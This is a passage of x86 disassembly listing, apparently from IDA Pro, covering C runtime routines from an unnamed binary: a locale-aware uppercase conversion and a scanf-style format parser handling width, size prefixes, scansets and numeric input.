loc_41A743:				; CODE XREF: sub_41A462+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41A747:				; CODE XREF: sub_41A462+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41A750:				; CODE XREF: sub_41A462+1A2j
					; sub_41A462:loc_41A610j
		push	1
		pop	eax


loc_41A753:				; CODE XREF: sub_41A462+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A462	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A758	proc near		; CODE XREF: sub_417DAD+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_5158EC, 0
		push	ebx
		jnz	short loc_41A783
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_41A821
		cmp	eax, 7Ah
		jg	loc_41A821
		sub	eax, 20h
		jmp	loc_41A821
; ---------------------------------------------------------------------------


loc_41A783:				; CODE XREF: sub_41A758+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_41A7B6
		cmp	dword_43B7AC, 1
		jle	short loc_41A7A3
		push	2
		push	ebx
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_41A7AE
; ---------------------------------------------------------------------------


loc_41A7A3:				; CODE XREF: sub_41A758+3Dj
		mov	eax, off_43B5A0
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_41A7AE:				; CODE XREF: sub_41A758+49j
		test	eax, eax
		jnz	short loc_41A7B6


loc_41A7B2:				; CODE XREF: sub_41A758+AFj
		mov	eax, ebx
		jmp	short loc_41A821
; ---------------------------------------------------------------------------


loc_41A7B6:				; CODE XREF: sub_41A758+34j
					; sub_41A758+58j
		mov	edx, off_43B5A0
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41A7D9
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_41A7E2
; ---------------------------------------------------------------------------


loc_41A7D9:				; CODE XREF: sub_41A758+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_41A7E2:				; CODE XREF: sub_41A758+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_5158EC
		call	sub_41BC2B
		add	esp, 20h
		test	eax, eax
		jz	short loc_41A7B2
		cmp	eax, 1
		jnz	short loc_41A814
		movzx	eax, [ebp+var_4]
		jmp	short loc_41A821
; ---------------------------------------------------------------------------


loc_41A814:				; CODE XREF: sub_41A758+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41A821:				; CODE XREF: sub_41A758+14j
					; sub_41A758+1Dj ...
		pop	ebx
		leave
		retn
sub_41A758	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A824	proc near		; CODE XREF: sub_417FCC+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_41B22A
		mov	edi, [ebp+arg_0]
		jmp	short loc_41A853
; ---------------------------------------------------------------------------


loc_41A84E:				; CODE XREF: sub_41A824+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_41A853:				; CODE XREF: sub_41A824+28j
		cmp	dword_43B7AC, 1
		jle	short loc_41A86B
		movzx	eax, al
		push	8
		push	eax
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_41A87A
; ---------------------------------------------------------------------------


loc_41A86B:				; CODE XREF: sub_41A824+36j
		mov	ecx, off_43B5A0
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41A87A:				; CODE XREF: sub_41A824+45j
		cmp	eax, ebx
		jz	short loc_41A8B4
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_41B2B1
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B29A
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DC3D
		add	esp, 0Ch


loc_41A8A2:				; CODE XREF: sub_41A824+8Ej
		test	eax, eax
		jz	short loc_41A8B4
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DC3D
		pop	ecx
		jmp	short loc_41A8A2
; ---------------------------------------------------------------------------


loc_41A8B4:				; CODE XREF: sub_41A824+58j
					; sub_41A824+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_41B196
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_41A8EB:				; CODE XREF: sub_41A824+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43B7AC, 1
		jle	short loc_41A908
		movzx	eax, bl
		push	4
		push	eax
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_41A917
; ---------------------------------------------------------------------------


loc_41A908:				; CODE XREF: sub_41A824+D3j
		mov	ecx, off_43B5A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41A917:				; CODE XREF: sub_41A824+E2j
		test	eax, eax
		jz	short loc_41A92D
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_41A992
; ---------------------------------------------------------------------------


loc_41A92D:				; CODE XREF: sub_41A824+F5j
		cmp	ebx, 4Eh
		jg	short loc_41A970
		jz	short loc_41A992
		cmp	ebx, 2Ah
		jz	short loc_41A96B
		cmp	ebx, 46h
		jz	short loc_41A992
		cmp	ebx, 49h
		jz	short loc_41A94D
		cmp	ebx, 4Ch
		jnz	short loc_41A97F
		inc	[ebp+var_D]
		jmp	short loc_41A992
; ---------------------------------------------------------------------------


loc_41A94D:				; CODE XREF: sub_41A824+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_41A97F
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_41A97F
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_41A992
; ---------------------------------------------------------------------------


loc_41A96B:				; CODE XREF: sub_41A824+113j
		inc	[ebp+var_E]
		jmp	short loc_41A992
; ---------------------------------------------------------------------------


loc_41A970:				; CODE XREF: sub_41A824+10Cj
		cmp	ebx, 68h
		jz	short loc_41A98C
		cmp	ebx, 6Ch
		jz	short loc_41A984
		cmp	ebx, 77h
		jz	short loc_41A987


loc_41A97F:				; CODE XREF: sub_41A824+122j
					; sub_41A824+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_41A992
; ---------------------------------------------------------------------------


loc_41A984:				; CODE XREF: sub_41A824+154j
		inc	[ebp+var_D]


loc_41A987:				; CODE XREF: sub_41A824+159j
		inc	[ebp+var_5]
		jmp	short loc_41A992
; ---------------------------------------------------------------------------


loc_41A98C:				; CODE XREF: sub_41A824+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_41A992:				; CODE XREF: sub_41A824+107j
					; sub_41A824+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_41A8EB
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_41A9B7
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_41A9B7:				; CODE XREF: sub_41A824+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_41A9D5
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_41A9D1
		cmp	al, 43h
		jz	short loc_41A9D1
		or	[ebp+var_5], 0FFh
		jmp	short loc_41A9D5
; ---------------------------------------------------------------------------


loc_41A9D1:				; CODE XREF: sub_41A824+1A1j
					; sub_41A824+1A5j
		mov	[ebp+var_5], 1


loc_41A9D5:				; CODE XREF: sub_41A824+19Bj
					; sub_41A824+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_41AA0E
		cmp	esi, 63h
		jz	short loc_41A9FF
		cmp	esi, 7Bh
		jz	short loc_41A9FF
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41B2B1
		pop	ecx
		jmp	short loc_41AA0A
; ---------------------------------------------------------------------------


loc_41A9FF:				; CODE XREF: sub_41A824+1C5j
					; sub_41A824+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B280


loc_41AA0A:				; CODE XREF: sub_41A824+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_41AA0E:				; CODE XREF: sub_41A824+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_41AA1E
		cmp	[ebp+var_C], eax
		jz	loc_41B1FA


loc_41AA1E:				; CODE XREF: sub_41A824+1EFj
		cmp	esi, 6Fh
		jg	loc_41AC85
		jz	loc_41AF37
		cmp	esi, 63h
		jz	loc_41AC62
		cmp	esi, 64h
		jz	loc_41AF37
		jle	loc_41ACAF
		cmp	esi, 67h
		jle	short loc_41AA82
		cmp	esi, 69h
		jz	short loc_41AA6A
		cmp	esi, 6Eh
		jnz	loc_41ACAF
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_41B165
		jmp	loc_41B18B
; ---------------------------------------------------------------------------


loc_41AA6A:				; CODE XREF: sub_41A824+229j
		push	64h
		pop	esi


loc_41AA6D:				; CODE XREF: sub_41A824+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_41ACF7
		mov	[ebp+var_17], 1
		jmp	loc_41ACFC
; ---------------------------------------------------------------------------


loc_41AA82:				; CODE XREF: sub_41A824+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_41AA9E
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_41AAA3
; ---------------------------------------------------------------------------


loc_41AA9E:				; CODE XREF: sub_41A824+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_41AABA


loc_41AAA3:				; CODE XREF: sub_41A824+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_41B280
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41AABD
; ---------------------------------------------------------------------------


loc_41AABA:				; CODE XREF: sub_41A824+27Dj
		mov	edi, [ebp+arg_0]


loc_41AABD:				; CODE XREF: sub_41A824+294j
		cmp	[ebp+var_20], 0
		jz	short loc_41AACC
		cmp	[ebp+var_C], 15Dh
		jle	short loc_41AAD3


loc_41AACC:				; CODE XREF: sub_41A824+29Dj
		mov	[ebp+var_C], 15Dh


loc_41AAD3:				; CODE XREF: sub_41A824+2A6j
					; sub_41A824+2F2j
		cmp	dword_43B7AC, 1
		jle	short loc_41AAE8
		push	4
		push	ebx
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_41AAF3
; ---------------------------------------------------------------------------


loc_41AAE8:				; CODE XREF: sub_41A824+2B6j
		mov	eax, off_43B5A0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41AAF3:				; CODE XREF: sub_41A824+2C2j
		test	eax, eax
		jz	short loc_41AB18
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41AB18
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41B280
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41AAD3
; ---------------------------------------------------------------------------


loc_41AB18:				; CODE XREF: sub_41A824+2D1j
					; sub_41A824+2DBj
		cmp	byte_43B7B0, bl
		jnz	short loc_41AB86
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41AB86
		inc	[ebp+var_4]
		push	edi
		call	sub_41B280
		mov	ebx, eax
		mov	al, byte_43B7B0
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_41AB41:				; CODE XREF: sub_41A824+360j
		cmp	dword_43B7AC, 1
		jle	short loc_41AB56
		push	4
		push	ebx
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_41AB61
; ---------------------------------------------------------------------------


loc_41AB56:				; CODE XREF: sub_41A824+324j
		mov	eax, off_43B5A0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41AB61:				; CODE XREF: sub_41A824+330j
		test	eax, eax
		jz	short loc_41AB86
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41AB86
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41B280
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41AB41
; ---------------------------------------------------------------------------


loc_41AB86:				; CODE XREF: sub_41A824+2FAj
					; sub_41A824+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_41AC1E
		cmp	ebx, 65h
		jz	short loc_41AB9E
		cmp	ebx, 45h
		jnz	loc_41AC1E


loc_41AB9E:				; CODE XREF: sub_41A824+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41AC1E
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41B280
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_41ABC5
		mov	[esi], al
		inc	esi
		jmp	short loc_41ABCA
; ---------------------------------------------------------------------------


loc_41ABC5:				; CODE XREF: sub_41A824+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_41ABE8


loc_41ABCA:				; CODE XREF: sub_41A824+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_41ABD9
		and	[ebp+var_C], eax
		jmp	short loc_41ABE8
; ---------------------------------------------------------------------------


loc_41ABD9:				; CODE XREF: sub_41A824+3AEj
					; sub_41A824+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_41B280
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41ABE8:				; CODE XREF: sub_41A824+3A4j
					; sub_41A824+3B3j
		cmp	dword_43B7AC, 1
		jle	short loc_41ABFD
		push	4
		push	ebx
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_41AC08
; ---------------------------------------------------------------------------


loc_41ABFD:				; CODE XREF: sub_41A824+3CBj
		mov	eax, off_43B5A0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41AC08:				; CODE XREF: sub_41A824+3D7j
		test	eax, eax
		jz	short loc_41AC1E
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41AC1E
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_41ABD9
; ---------------------------------------------------------------------------


loc_41AC1E:				; CODE XREF: sub_41A824+366j
					; sub_41A824+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41B29A
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_41B22A
		cmp	[ebp+var_E], 0
		jnz	loc_41B18B
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43B8D0
		add	esp, 0Ch
		jmp	loc_41B18B
; ---------------------------------------------------------------------------


loc_41AC62:				; CODE XREF: sub_41A824+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_41AC71
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_41AC71:				; CODE XREF: sub_41A824+441j
		cmp	[ebp+var_5], 0
		jle	short loc_41AC7B
		mov	[ebp+var_16], 1


loc_41AC7B:				; CODE XREF: sub_41A824+451j
		mov	edi, offset dword_43B7C8
		jmp	loc_41AD90
; ---------------------------------------------------------------------------


loc_41AC85:				; CODE XREF: sub_41A824+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_41AF33
		sub	eax, 3
		jz	loc_41AD81
		dec	eax
		dec	eax
		jz	loc_41AF37
		sub	eax, 3
		jz	loc_41AA6D
		sub	eax, 3
		jz	short loc_41ACD3


loc_41ACAF:				; CODE XREF: sub_41A824+21Bj
					; sub_41A824+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_41B1FA
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_41B18B
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_41B18B
; ---------------------------------------------------------------------------


loc_41ACD3:				; CODE XREF: sub_41A824+489j
		cmp	[ebp+var_5], 0
		jle	short loc_41ACDD
		mov	[ebp+var_16], 1


loc_41ACDD:				; CODE XREF: sub_41A824+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_41AD94
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_41AD90
; ---------------------------------------------------------------------------


loc_41ACF7:				; CODE XREF: sub_41A824+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_41AD1E


loc_41ACFC:				; CODE XREF: sub_41A824+259j
		dec	[ebp+var_C]
		jnz	short loc_41AD0D
		cmp	[ebp+var_20], 0
		jz	short loc_41AD0D
		mov	[ebp+var_F], 1
		jmp	short loc_41AD1E
; ---------------------------------------------------------------------------


loc_41AD0D:				; CODE XREF: sub_41A824+4DBj
					; sub_41A824+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B280
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41AD1E:				; CODE XREF: sub_41A824+4D6j
					; sub_41A824+4E7j
		cmp	ebx, 30h
		jnz	loc_41AF6C
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B280
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_41AD6C
		cmp	bl, 58h
		jz	short loc_41AD6C
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_41AD56
		push	6Fh


loc_41AD50:				; CODE XREF: sub_41A824+55Bj
		pop	esi
		jmp	loc_41AF6C
; ---------------------------------------------------------------------------


loc_41AD56:				; CODE XREF: sub_41A824+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41B29A
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_41AF69
; ---------------------------------------------------------------------------


loc_41AD6C:				; CODE XREF: sub_41A824+517j
					; sub_41A824+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B280
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_41AD50
; ---------------------------------------------------------------------------


loc_41AD81:				; CODE XREF: sub_41A824+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_41AD8B
		mov	[ebp+var_16], 1


loc_41AD8B:				; CODE XREF: sub_41A824+561j
		mov	edi, offset dword_43B7C0


loc_41AD90:				; CODE XREF: sub_41A824+45Cj
					; sub_41A824+4CEj
		or	[ebp+var_18], 0FFh


loc_41AD94:				; CODE XREF: sub_41A824+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_417430
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41ADB8
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_41ADB8
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_41ADBB
; ---------------------------------------------------------------------------


loc_41ADB8:				; CODE XREF: sub_41A824+584j
					; sub_41A824+589j
		mov	dl, [ebp+var_35]


loc_41ADBB:				; CODE XREF: sub_41A824+592j
					; sub_41A824+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_41AE20
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_41AE07
		test	dl, dl
		jz	short loc_41AE07
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_41AE07
		inc	edi
		cmp	dl, cl
		jnb	short loc_41ADDA
		mov	al, cl
		jmp	short loc_41ADDE
; ---------------------------------------------------------------------------


loc_41ADDA:				; CODE XREF: sub_41A824+5B0j
		mov	al, dl
		mov	dl, cl


loc_41ADDE:				; CODE XREF: sub_41A824+5B4j
		cmp	dl, al
		ja	short loc_41AE03
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_41ADEB:				; CODE XREF: sub_41A824+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_41ADEB


loc_41AE03:				; CODE XREF: sub_41A824+5BCj
		xor	dl, dl
		jmp	short loc_41ADBB
; ---------------------------------------------------------------------------


loc_41AE07:				; CODE XREF: sub_41A824+5A0j
					; sub_41A824+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_41ADBB
; ---------------------------------------------------------------------------


loc_41AE20:				; CODE XREF: sub_41A824+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_41B22A
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41AE32
		mov	[ebp+arg_4], edi


loc_41AE32:				; CODE XREF: sub_41A824+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_41B29A
		pop	ecx
		pop	ecx


loc_41AE49:				; CODE XREF: sub_41A824+6BCj
					; sub_41A824+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_41AE5D
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_41AEF9


loc_41AE5D:				; CODE XREF: sub_41A824+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_41B280
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_41AEED
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_41AEED
		cmp	[ebp+var_E], 0
		jnz	short loc_41AEE5
		cmp	[ebp+var_16], 0
		jz	short loc_41AEDA
		mov	ecx, off_43B5A0
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41AEB9
		inc	[ebp+var_4]
		push	edi
		call	sub_41B280
		pop	ecx
		mov	[ebp+var_37], al


loc_41AEB9:				; CODE XREF: sub_41A824+686j
		push	dword_43B7AC
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_41DB75
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_41AEDD
; ---------------------------------------------------------------------------


loc_41AEDA:				; CODE XREF: sub_41A824+673j
		mov	[esi], al
		inc	esi


loc_41AEDD:				; CODE XREF: sub_41A824+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_41AE49
; ---------------------------------------------------------------------------


loc_41AEE5:				; CODE XREF: sub_41A824+66Dj
		inc	[ebp+var_30]
		jmp	loc_41AE49
; ---------------------------------------------------------------------------


loc_41AEED:				; CODE XREF: sub_41A824+649j
					; sub_41A824+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41B29A
		pop	ecx
		pop	ecx


loc_41AEF9:				; CODE XREF: sub_41A824+633j
		cmp	[ebp+var_30], esi
		jz	loc_41B22A
		cmp	[ebp+var_E], 0
		jnz	loc_41B18B
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_41B18B
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41AF2B
		and	word ptr [eax],	0
		jmp	loc_41B18B
; ---------------------------------------------------------------------------


loc_41AF2B:				; CODE XREF: sub_41A824+6FCj
		and	byte ptr [eax],	0
		jmp	loc_41B18B
; ---------------------------------------------------------------------------


loc_41AF33:				; CODE XREF: sub_41A824+466j
		mov	[ebp+var_D], 1


loc_41AF37:				; CODE XREF: sub_41A824+203j
					; sub_41A824+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_41AF45
		mov	[ebp+var_17], 1
		jmp	short loc_41AF4A
; ---------------------------------------------------------------------------


loc_41AF45:				; CODE XREF: sub_41A824+719j
		cmp	ebx, 2Bh
		jnz	short loc_41AF6C


loc_41AF4A:				; CODE XREF: sub_41A824+71Fj
		dec	[ebp+var_C]
		jnz	short loc_41AF5B
		cmp	[ebp+var_20], 0
		jz	short loc_41AF5B
		mov	[ebp+var_F], 1
		jmp	short loc_41AF6C
; ---------------------------------------------------------------------------


loc_41AF5B:				; CODE XREF: sub_41A824+729j
					; sub_41A824+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B280
		pop	ecx
		mov	ebx, eax


loc_41AF69:				; CODE XREF: sub_41A824+543j
		mov	[ebp+var_14], ebx


loc_41AF6C:				; CODE XREF: sub_41A824+4FDj
					; sub_41A824+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_41B085
		cmp	[ebp+var_F], 0
		jnz	loc_41B063


loc_41AF80:				; CODE XREF: sub_41A824+82Cj
		cmp	esi, 78h
		jnz	short loc_41AFD4
		cmp	dword_43B7AC, 1
		jle	short loc_41AF9D
		push	80h
		push	ebx
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_41AFAA
; ---------------------------------------------------------------------------


loc_41AF9D:				; CODE XREF: sub_41A824+768j
		mov	eax, off_43B5A0
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_41AFAA:				; CODE XREF: sub_41A824+777j
		test	eax, eax
		jz	loc_41B055
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_41DC70
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_41B249
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41B027
; ---------------------------------------------------------------------------


loc_41AFD4:				; CODE XREF: sub_41A824+75Fj
		cmp	dword_43B7AC, 1
		jle	short loc_41AFE9
		push	4
		push	ebx
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_41AFF4
; ---------------------------------------------------------------------------


loc_41AFE9:				; CODE XREF: sub_41A824+7B7j
		mov	eax, off_43B5A0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41AFF4:				; CODE XREF: sub_41A824+7C3j
		test	eax, eax
		jz	short loc_41B055
		cmp	esi, 6Fh
		jnz	short loc_41B012
		cmp	ebx, 38h
		jge	short loc_41B055
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_41DC70
		jmp	short loc_41B021
; ---------------------------------------------------------------------------


loc_41B012:				; CODE XREF: sub_41A824+7D7j
		push	0
